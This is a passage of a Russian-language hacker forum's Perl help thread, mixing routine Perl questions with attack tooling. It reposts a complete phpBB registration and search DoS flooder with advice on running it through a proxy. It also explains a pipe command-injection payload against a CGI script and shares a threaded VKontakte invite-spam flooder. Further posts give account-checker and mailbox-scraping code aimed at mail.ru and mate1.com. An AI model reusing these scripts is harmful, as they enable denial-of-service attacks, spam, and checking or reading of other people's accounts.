$rss_channel[$currently_writing] = $data;
}
break;
case "IMAGE":
if (isset($rss_channel[$main][$currently_writing])) {
$rss_channel[$main][$currently_writing] .= $data;
} else {
$rss_channel[$main][$currently_writing] = $data;
}
break;
case "ITEMS":
if (isset($rss_channel[$main][$item_counter][$currently_writing])) {
$rss_channel[$main][$item_counter][$currently_writing] .= $data;
} else {
//print ("rss_channel[$main][$item_counter][$currently_writing] = $data<br>");
$rss_channel[$main][$item_counter][$currently_writing] = $data;
}
break;
}
}
}
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
die("could not open XML input");
}
while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {
die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}
}
xml_parser_free($xml_parser);
if (isset($rss_channel["ITEMS"])) {
if (count($rss_channel["ITEMS"]) > 0) {
for($i = 0;$i < $coli4;$i++) {
$HTML_NEWS['text'] .= "\n<div class=\"subtitle\">" . $rss_channel["ITEMS"][$i]["TITLE"] . "</b></div>";
$HTML_NEWS['text'] .= "<div class=\"text\">" . html_entity_decode($rss_channel["ITEMS"][$i]["DESCRIPTION"]) . "</div>";
}
} else {
$HTML_NEWS['text'] .= "<b>There are no articles in this feed.</b>";
}
}
$HTML_NEWS['text'] .= <<< EOS
<div class=\"subtitle\">
<form method=get action=news.php>
EOS;
$HTML_NEWS['text'] .= "<a href=?type=$type&num=10>Больше новостей >>></a></form>";
}
бла бла бла...
inlanger
01.03.2008, 01:05
ой...не туда...
Не шарю в Perl
Подскажите как в этом куске кода сделать коннект через прокси:
## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
Digimortal
02.03.2008, 02:37
в PeerAddr укажи адрес прокси, а в PeerPort - порт на котором он висит.. )
ну надо чтоб коннект осуществлялся через прокси, а не на проксию
То есть коннект на
PeerAddr => "$host",
PeerPort => "80"
Должен осуществляться через например прокси 127.0.0.1
порт 8080
Digimortal
02.03.2008, 03:53
>> ну надо чтоб коннект осуществлялся через прокси, а не на проксию
а ты считаешь, что чтоб использовать прокси к нему коннектиться как бы и не надо чтоле? )
ты коннектишься к прокси, пересылаешь ему запрос, а дальше уже прокси сам конектится куда надо.. только нужно правильно http-заголовки указать.. если это http-прокси, то надо полный урл укзывать в запросах.. если https то использовать метод CONNECT..
Ну вот например есть сплоит для PhpBB:
#!/usr/bin/perl
## Name: NsT-phpBBDoS (Perl Version)
## Copyright: Neo Security Team
## Author: HaCkZaTaN
## Ported: g30rg3_x
## Date: 20/06/05
## Description: NsT-phpBB DoS By HackZatan Ported tu perl By g30rg3_x
## A Simple phpBB Registration And Search DoS Flooder.
##
## g30rg3x@neosecurity:/home/g30rg3x# perl NsT-phpBBDoS.pl
## [+]
## [+] NsT-phpBBDoS v0.2 by HaCkZaTaN
## [+] ported to Perl By g30rg3_x
## [+] Neo Security Team
## [+]
## [+] Host |without http://www.| victimshost.com
## [+] Path |example. /phpBB2/ or /| /phpBB2/
## [+] Flood Type |1=Registration 2=Search| 1
## [+] .................................................. ........
## [+] .................................................. ........
## [+] .................................................. ........
## [+] ..............................................
## [+] The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed
## g30rg3x@neosecurity:/home/g30rg3x# echo "Let see how many users I have created"
use IO::Socket;
## Initialized X
$x = 0;
## Flood Variables Provided By User
print q(
NsT-phpBBDoS v0.2 by HaCkZaTaN
ported to Perl By g30rg3_x
Neo Security Team
);
print q(Host |without http://www.| );
$host = <STDIN>;
chop ($host);
print q(Path |example. /phpBB2/ or /| );
$pth = <STDIN>;
chop ($pth);
print q(Flood Type |1 = Registration, 2 = Search| );
$type = <STDIN>;
chop ($type);
## If Type Is Equals To 1 or Registration
if($type == 1){
## User Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{
## Building User in base X
$uname = "username=NsT__" . "$x";
## Building User Mail in base X
$umail = "&email=NsT__" . "$x";
## Final String to Send
$postit = "$uname"."$umail"."%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";
## Posit Length
$lrg = length $postit;
## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums
print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
## Print a "." for every loop
syswrite STDOUT, ".";
## Increment X in One for every Loop
$x++;
}
## If Type Is Equals To 2 or Search
}
elsif ($type == 2){
## User Search Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{
## Final Search String to Send
$postit = "search_keywords=Neo+Security+Team+Proof+of+Concept +$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";
## Posit Length
$lrg = length $postit;
## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
## Print a "." for every loop
syswrite STDOUT, ".";
## Increment X in One for every Loop
$x++;
}
}else{
## STF??? What Do You Type
die "Option not Allowed O_o???\n";
}
# milw0rm.com [2005-06-22]gfd
То есть после строки:
## Connect Socket with Variables Provided By User...
прописать прокси
а в строках после:
## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
прописывать уже адре самого сайта ?
попробовал, да, именно так
вообщем такая проблема
#!/usr/bin/perl
use strict;
use warnings;
use Net::FTP;
my $serv = "ftp.site.com" ;
my $ftp = NET::FTP->new($serv) || print "Error connect" ;
$ftp->login("user","pass") || print "Error login";
Can't locate object method "new" via package "NET::FTP" (perhaps you forgot to l
oad "NET::FTP"?) at C:\WebServers\home\localhost\cgi\ftp.pl line 4.
На машине стоит Denwer, и отдельно ставил ActivePerl-5.10.0 брал отсюда activestate.com, т.е. по идее должен быть не резанным.
В \usr\lib\Net\ FTP.pm присутствует, и cаб new в нем тоже есть.
Проблема решена.
Digimortal, спасибо !
Digimortal
17.03.2008, 18:18
напиши Net::FTP заместо NET::FTP
как установить модуль Perl ?! напримере Net::Icq
ppm install Net-ICQ
в консоли
как отправить сообщение в аську ?
запустить квип/миранду/етц, выбрать нужный контакт (если его нет, то стоит воспользоваться поиском и добавить клиент в контакт лист), в появившемся окне набрать текст и нажать кнопку послать/отправить
подскажите как в строке
<input type="hidden" name="sid" value="01a36e4d002d26dd4e1621d5ef495f19"/>
найти 01a36e4d002d26dd4e1621d5ef495f19 ?
demonoid
25.03.2008, 00:06
perl -e "s\\<input type=\"hidden\" name=\"sid\" value=\"01a36e4d002d26dd4e1621d5ef495f19\"/>\;print /name=\"sid\" value=\"([a-f0-9]{32})\"\/>/"
s\\<input type=\"hidden\" name=\"sid\" value=\"01a36e4d002d26dd4e1621d5ef495f19\"/>\;
а просто $_='...' уже не модно чтоли? типа чем больше кавычек эскейпишь, тем более одейнее?
demonoid
25.03.2008, 18:54
..типа чем больше кавычек эскейпишь, тем более одейнее
пытался полностью соответствовать условию:
C:\>perl -e "$_ = "tipa" ; print "
tipa
C:\>perl -e "$_ = '\"tipa\"' ; print "
"tipa"
perl golf
s\\<input type=\"hidden\" name=\"sid\" value=\"01a36e4d002d26dd4e1621d5ef495f19\"/>\
84
$_='<input type=\"hidden\" name=\"sid\" value=\"01a36e4d002d26dd4e1621d5ef495f19\"/>'
85 :p
пс : интересен твой вариант
\w{32} - не проще ли чем [a-f0-9]{32} ?
\w - это [a-z]
Ну я к тому, что md5 или сессия состоит из символов a-f и цифр 0-9
@NOmeR1
\w это [a-zA-Z_] если быть точным
@demonoid
а ты знаешь почему без кавычек печатается?
\w это [a-zA-Z_] если быть точным
Нда? А куда пропали 0-9? Если быть более точным, то \w = [a-zA-Z0-9_]
\w - [a-zA-Z0-9_] вот так правильно
Подскажите как в перле получить доступ к реестру винды. ну точнее как должен выглядить путь к нему. заранее спасибо
Азот, ты темой ошибся, тут вопросы по перлу
И правдо, ошибся, простите....
biophreak
31.03.2008, 14:11
ZET36:
Win32::Registry, http://search.cpan.org/~jdb/libwin32-0.28/Registry/Registry.pm
Юзай это для реестра...там вроде все написано
Такой вопрос. Есть скрипт для веб)) :
use strict;
use CGI qw/:standard/;
my $cgi = new CGI;
<br /><br />
my $file = $cgi->param('file');
<br /><br />
# grab date base
$file =~ m/(.*).txt/;
my $date = $1;
<br /><br />
my @images = <Images/$date/*.jpg>;
my @audio = <Audio/$date/*.mp3>;
<br /><br />
<br /><br />
print "Content-type: text/html\n\n";
<br /><br />
print "<html><body>";
<br /><br />
print "<!-- generatede -->";
<br /><br />
open(INPUT, "<$file");
while (<INPUT>) {
# add breaks...
if (/^$/) {
print "<br /><br />";
}
print;
}
close(INPUT);
<br /><br />
print "<br />";
<br /><br />
foreach (@images) {
print "<img src='$_'><br /><br />";
}
<br /><br />
print "<br />";
<br /><br />
print "<h3>Sound Bites</h3> (xxxxxxxx)<br /><br />";
<br /><br />
foreach (@audio) {
print "<a href='$_'>$_</a><br /><br />";
Хотелось бы понять, кроме чтения произвольных файлов есть возможность исполнения команд или чего либо еще?
Анжелика
02.04.2008, 20:33
выполнять команды неполучиться, так как в
open(INPUT, "<$file");
определено что открывается файл на чтение символом "<"
если бы было
open(INPUT, "$file");
то можно было бы подставив пайп выполнять команды, типа
.pl?file=|id
Can't call method "scheme" on an undefined value at C:/Perl/lib/HTTP/Cookies.pm line 44.
(v5.10.0 built for MSWin32-x86-multi-thread)
как от этого избавиться?
netf0x
open(INPUT, "<$file");
открывать файл надо так
open(KARTINKA, '<', '4.jpg');
где содержимое файла будет в Дескрипторе KARTINKA который прочитать можно так
print <KARTINKA>;
вот советую почитать учебник для новичков по перлу
http://dump.ru/files/n/n6133429141/
там есть раздел где описываются много функциий с файлами и папками
Can't call method "scheme" on an undefined value at C:/Perl/lib/HTTP/Cookies.pm line 44.
(v5.10.0 built for MSWin32-x86-multi-thread)
как от этого избавиться?
ошибка говорит "немогу пробить метод "scheme" в неопределённом значении в файле C:/Perl/lib/HTTP/Cookies.pm"
эта ошибка содержится в 44 строке кода
если можно неплохо бы увидеть сам код
ошибка говорит "немогу пробить метод "scheme" в неопределённом значении в файле C:/Perl/lib/HTTP/Cookies.pm"
эта ошибка содержится в 44 строке кода
да ну
если можно неплохо бы увидеть сам код
http://www.activestate.com/Products/activeperl/
PS мой скрипт читает почту на mail.ru.
сначала запрос к http://win.mail.ru/cgi-bin/auth,
потом идет по линку вида
http://win.mail.ru/cgi-bin/checkcookie?id=765b5d705151745f19050219
затем заходит в папку Входящие и читает письма.
возможно это поможет
Piflit хех я так и незнаю где у тебя ошибка невидя кода)) ну максимум могу посоветовать почитать вот это
www.opennet.ru/base/dev/perl_lwp.txt.html
(там есть описание метода cookie_jar интуиция подсказывает что напутал ты там в нём)
Как ты такой ошибки добился то?
Вот пример скрипта который логинится на мейл.ру, парсит список сообщений и скидывает в файл содержимое писем:
#!/usr/bin/perl -w
use LWP::UserAgent;
use HTTP::Cookies;
if (@ARGV < 2){
print "Usage: script.pl login password";
exit;
}
($login, $domain) = split(/@/,$ARGV[0]);
$pwd = $ARGV[1];
$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt"));
$res = $ua->post( "http://win.mail.ru/cgi-bin/auth", {Login => $login, Domain => $domain, Password => $pwd} );
$res = $res->as_string;
open(FILE, '>>letters.txt') || die "Could not open letters.txt\n";
if($res =~ /<HTML>(.*)<\/HTML>/)
{
$ua->get($1);
$res = $ua->get('http://win.mail.ru/cgi-bin/msglist?folder=0');
$res = $res->as_string;
while($res =~ m/title="(.*?)"><a href="readmsg\?id=(.*?)"/g)
{
print FILE "From: $1 ID: $2\n";
$msg = $ua->get('http://win.mail.ru/cgi-bin/readmsg?id='.$2)->as_string;
if($msg =~ /<div id=let_body>(.*?)<\/div>/ms){print FILE "Body:\n$1\n-----------------------------------------------------------";}
}
}
походу с перезаписью кук проблема.
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);
ящики по очереди парсятся. значит в конце цикла надо $cookies->clear; ?
Можешь сlear, можешь файл удалять, как угодно.
неподскажите есть ли в перле возможность работы с ресурсами библиотек.
ну например в джаваскрипте что бы показать картинку pagerror.gif хранящуюся в библиотеке shdoclc.dll оформлять путь к ней нужно так
res://C:\WINDOWS\system32\shdoclc.dll/pagerror.gif
дайте пожайлуста чтонибудь почитать об функциях работы с ресурсами в перле
biophreak
07.04.2008, 09:35
Хм...ИМХО, скорее всего это реализовано в модулях Win32::*, глянь на CPAN'е
Глянь модуль Win32::Exe, http://search.cpan.org/~smueller/Win32-Exe-0.11/lib/Win32/Exe.pm
Может оно тебе надо? Вроде умеет работать с ресурсами(иконки точно), с exe-файлами, дллки - те же PE, может подцепит, я хз, не сталкивался =)
biophreak спасибо то что нужно
опять начал постигать перл ) появился такой вопрос . как из текста :
fsafsdtwret4wtg gwevdsgreww sid=q243W fsdfdewrtgdoprewtgdfhrrreg fsddfgb
выдернуть sid=q243W ?
опять начал постигать перл ) появился такой вопрос . как из текста :
fsafsdtwret4wtg gwevdsgreww sid=q243W fsdfdewrtgdoprewtgdfhrrreg fsddfgb
выдернуть sid=q243W ?
$s='fsafsdtwret4wtg gwevdsgreww sid=q243W fsdfdewrtgdoprewtgdfhrrreg fsddfgb';
if($s=~/(sid=\w{5})/) {print $1}
а если кол-во символов рандомное ?
а если кол-во символов рандомное ?
$s='fsafsdtwret4wtg gwevdsgreww sid=q243W fsdfdewrtgdoprewtgdfhrrreg fsddfgb';
if($s=~/(sid=\w{1,})/) {print $1}
хмм... почему когда я использую :
$inpoisk='fsafsdtwret4wtg gwevdsgreww sid=q243D wasfsdarwfv';
$inpoisk=~/(sid=\w{1,})/;
print $inpoisk;
у меня выводит fsafsdtwret4wtg gwevdsgreww sid=q243D wasfsdarwfv ?
потому, что захваченные значения сохраняются в спец. переменных , т.е. $1 - является первым совпадением.
http://www.citforum.ru/internet/perl_tut/re.shtml
помогите авторизироваться на mate1.com (хочу попробовать написать чекер акков)
use LWP 5.64;
use LWP::Simple;
$browser = LWP::UserAgent->new;
open (FFF,">>xui.htm");
$url='http://mate1.com/index.php';
$content= get $url;
$content=~/(sid=\w{1,})/g;;
$sid=$1;
$sid=~s/sid=//;
print $sid;
$mail="*********";
$posturl="http://www.mate1.com/profiles/login?sid=$sid";
print $posturl;
$response = $browser->post( $posturl,
[
sid=>$sid,
email_address => $mail,
password => "********",
],
);
$url_home='http://www.mate1.com/profiles/home';
$cnt2=get $url_home;
print FFF $cnt2;
Попробуй $posturl = "http://www.mate1.com/profiles/authenticate"
Дай аккаунт рабочий, посмотрю
кто знает как делать мультиформ запросы ? ссылочки на документацию и если можно кратко обьясните
ДОС - по пхп в другую тему
неподскажите как узнать имя ключа в хеше зная его значение
demonoid
14.04.2008, 00:16
#!perl -w
use strict;
my %h = (
NAME1 => 'Kaimi',
NAME2 => '$p01nt',
NAME3 => 'ZET36',
);
my $s_h = '$p01nt';
foreach ( keys %h )
{
exit print "Key name : '$_'" if $h{$_} eq $s_h;
}
print 'Not Found';
ежели я всё верно понял...
demonoid хех код выдаёт ошибку.
я тоже пробывывал неполучается
%hash = (
'zalupa1' => 'malenkaya',
'zalupa2' => 'srednyaya',
'zalupa3' => 'bolshaya'
);
foreach ( keys %hash )
{
if($hash{$_}='bolshaya'){print $_;}
}
блин циклы в перле ведут себя не так как в пхп и джаваскрипте
demonoid
15.04.2008, 02:00
%hash = (
.....
if($hash{$_} eq 'bolshaya'){print $_;}
.....
}
demonoid ок ещё раз спасибо .всё работает
Неподскажите как экранировать "\" в функции split
пример
$fullitself="gggg\ddddd\zzzzz\rrrrrr";
@temp=split('\',$fullitself);
print @temp[1];
я уж и chr() пробывал
$fullitself="gggg\ddddd\zzzzz\rrrrrr";
@temp=split(chr(92),$fullitself);
print @temp[1];
ничего не помогает.
$fullitself="gggg\\ddddd\\zzzzz\\rrrrrr";
@temp = split ('\\\\', $fullitself);
print @temp[1];
demonoid
15.04.2008, 12:26
При двойных кавычек строка интерполируется ,
интерпретатор не может понять эскейп последовательность \d и \z
$fullitself='gggg\ddddd\zzzzz\rrrrrr';
@temp=split(/\\/,$fullitself);
print $temp[1];
Ещё один вопрос. как сделать что бы в цикле переберались файлы а в ключи хеша заносились имена файлов а в значение хеша их содержимое
я пробывал так .например (где в массиве @files содержатся пути файлов)
foreach ( @files )
{
open(LOGFILE, '<', $_);
$zet{$_}=<LOGFILE>;
}
но в значения хеша заносятся только первые строчки файлов а не всё их содержимое.
я знаю что <LOGFILE> открывается массивом в котором скажем 1вая строчка файла = @massiv[0] итд. но вот как в значения хеша записать всё содержимое массива?
ведь нельзя применить sort() к <LOGFILE> как к массиву
буду благодарен
demonoid
18.04.2008, 00:19
#!perl -w
use strict;
my %h;
my @files = ( 'FILE2.txt','FILE1.txt','FILE3.txt' );
foreach my $key ( @files )
{
next unless -r $key;
open( LOGFILE,"<$key" );
while( <LOGFILE> )
{
$h{$key} .= $_;
}
close LOGFILE;
}
К чему здесь sort я не понял ..
demonoid в 4 раз выручаеш спасибо))
а sort() я хотел использывать что бы перевести массив в строку и присвоить её значению хеша без использовании второго цикла
помогите с регуляркой ! <font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><b>XXXXXXXXXXXXXX</b></font>
найти XXXXXXXXXXXXXX
$a = '<font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><b>XXXXXXXXXXXXXX</b></font>';
my ($b) = $a =~ /<b>[^<]+<\/b>/;
if ($s =~ /text-decoration: none \"><b>(\d{1,10})<\/b>/) { print $1 }
поясни конкретней, какие могут входить символы в захват
$a = '<font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><b>XXXXXXXXXXXXXX</b></font>';
my ($b) = $a =~ /<b>[^<]+<\/b>/;
Нехорошо так делать...
<font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><B>Hello <i>to</i> all!</b></font>
вообще ничего не выдаст, и
<font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><и>Hello <i>to</i> all!</b></font>
тоже обломится...
Pifit Ответ не верный ) если искать только по тегу <b> то у меня еще куча не нужного найдется , поэтому я и дал с тегом <font> . ZAMUT нет текст
Zamut - там русские символы ) пробывал А-я н подходит (
/<font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><b>(.*)<\/b><\/font>/;
$p01nt ты покажи типы возможных вариантов. от них зависит регулярка
#!usr/bin/perl
use strict;
use LWP::Simple;
open(FIL,">spars.txt");
my $url='http://mariel.ru/index.html';
my $content=get $url;
my $pervzagal=$content;
my $pervtext=$content;
$pervzagal=~/<font style="font-size: 12pt; font-family:Arial; color:#335DA3; text-decoration: none "><b>(.*)<\/b><\/font>/g;
print FIL $1;
$pervtext=~/<div style="margin-top: 8px; margin-bottom: 2px">(.*) <a href=Article1579.html style="font-size: 8pt; font-weight: normal; font-family:Arial; color:#335da3; text-decoration: underline ">/g;
print FIL $2;
не получается спарсить pervtext , в чем ошибка ?
во втором надо $1 у тебя ведь только одно вхождение
я пробывал - он выводит то же что и в pervzagal
Нужен хороший туториал по регексам для новичков.
demonoid
03.05.2008, 13:24
perldoc perlre
и опять вопрос и опять по регуляркам :) Допустим есть такой текст :
http://www.mail.com http://www.gmail.com http://www.yahoo.com
Нужно найти только mail.com gmail.com yahoo.com
Я делаю так
$text="http://www.mail.com http://www.gmail.com http://www.yahoo.com";
$text=~/http:\/\/www\.(.?) h/ig;
print $1;
print $2;
print $3;
И мне выводит только www.mail.com . В чем ошибка ? И как можно заменять $1 , $2 etc. одним выражением?
while($text=~/http:\/\/www\.(\S+)/ig)
print $1;
Кукую Ide вы используете для создания скриптов на перл?
Piflit что то не компилится:(
ZOB - vi :)
demonoid
03.05.2008, 17:46
Эхх.
$text = "http://www.mail.com http://www.gmail.com http://www.yahoo.com";
@a = $text =~ m[http://www.(\w+.com)]g;
vi - редактор не более
Komodo - отличный Ide
Есть скрипт приглашения вконтакте:
#!/usr/bin/perl
use strict;
use warnings;
use threads;
use threads::shared;
use IO::Socket::INET;
my $startId : shared;
$startId = 4762539;
my $cookie = 'remixpass=ПАРОЛЬ; remixemail=ЛОГИН%40(mail.ru); remixmid=ВАШ АЙДИ;
my $threads = 4;
my @thread;
for(0..$threads) { $thread[$_] = threads->create(\&flood); }
for(0..$threads) { $thread[$_]->join; }
sub flood {
while (1) {
if ( my $socket = new IO::Socket::INET(PeerAddr => 'vkontakte.ru', PeerPort => 80, Proto => 'tcp') ) {
{ lock($startId); $startId++; print $startId."\n"}
print $socket "HEAD http://vkontakte.ru/matches.php?act=a_sent&to_id=$startId&dec=1 HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"Cookie: $cookie\r\n\r\n";
close $socket
}
}
}
Можите подсказать где ошибка?
demonoid
11.05.2008, 00:19
my $cookie = 'remixpass=ПАРОЛЬ.....Ш АЙДИ;
Скобу не закрыл
GreenBear
11.05.2008, 20:33
perl -c file.pl
у мя вапрос странный
можно в перле скрипты подключать динамически те по мере неоходимости
чтобы память не засорять
biophreak
16.05.2008, 00:19
копай в сторону eval + require, имхо
astrologer
16.05.2008, 00:23
do 'file.pl';
eval `cat file.pl`;
допустим есть текстовой файл в котором через пробел записаны два числа (5 6) как получить эти числа т.е. что б в переменной x было 5 ($x=5) в переменной y было 6 (y=6)
Как-то так
#$str = "5 6";
if ($str =~ /(\d+)\s+(\d+)/)
{
$x = $1;
$y = $2;
}
krypt3r, спасибо - сейчас попробую ! И еще вопросик, где можно почитать статьи по перлу на русском ? и подскажите ирк каналы по перлу ... статьи искал в гугле - ничего интересного (
biophreak
16.05.2008, 14:43
my $str = "5 6";
my($x,$y) = split ' ', $str;
print "x = $x, y = $y\n";
Чтоб регекспами не забивать код :)
$p01nt,
($a,$b) = qw(5 6);
print $a."\n".$b;
biophreak
16.05.2008, 15:47
ы, тоже как вариант :)))
GreenBear
17.05.2008, 02:50
может ли перл , при обращении по хттп выдавать значение переменных записанных первым запуском не используя файлы?
строго говоря, это вопрос даже не по перлу...
попробуй при запуске ставить переменную окружения с нужными тебе данными ,а потом считывать ее
у мя такой вопрос может не совсем в тему
делаю проверку на валид акков на один сайт
открываю сокеты пишу туда все что нужно
слушаю ответ
он мне возвращает
HTTP/1.1 302 Found
Server: nginx/0.6.25
Date: Sat, 17 May 2008 13:24:43 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-cookie: session=63C4E9E4C17373A9C263289A77B8; path=/; domain=.domain.ru; expires=Friday, 15-Aug-2008 17:24:43 GMT
Set-cookie: uiduser=000000001; path=/; domain=.domain.ru; expires=Thursday, 16-May-2013 17:24:43 GMT
Location: /
Last-Modified: Sat, 17 May 2008 13:24:43 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 17 May 2008 13:24:43 GMT
43
0
это значит что авторизация прола успешно?
данные я туда пишу проверенные ну всмыле логин и пароль
Можно ли помощи языка perl узнать серверные каталоги? Например
/var/www/home/
/var/www/home1/
/var/www/gold/
и пр.?
Можно ли помощи языка perl узнать серверные каталоги? Например
/var/www/home/
/var/www/home1/
/var/www/gold/
и пр.?
http://www.devdaily.com/perl/edu/articles/pl020001.shtml
извините за тупость но у меня уже башка не варит всю ночь не спал
короч есть файл с таким содержанием
/nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nkirie6e4ka/ /nkirie6e4ka/ /nnira_vera/ /nnira_vera/ /ndevica_krasavic/ /ndevica_krasavic/ /nol4ik666/ /nol4ik666/ /nmajortv/ /nmajortv/ /nlovestory1985/ /nlovestory1985/ /nbarsik56/ /nbarsik56/ /nentray/ /nentray/ /nlana1206/ /nlana1206/ /nsams1984/ /nsams1984/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nnik1702/ /nnik1702/ /nlanaqg/ /nlanaqg/ /nannak_77/ /nannak_77/ /nangelroach/ /nangelroach/ /nnatalysja/ /nnatalysja/ /nplus7/ /nplus7/ /ne6iyf8wsdiy/ /ne6iyf8wsdiy/ /nseveso/ /nseveso/ /nsveta1967k/ /nsveta1967k/ /npoi1982/ /npoi1982/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
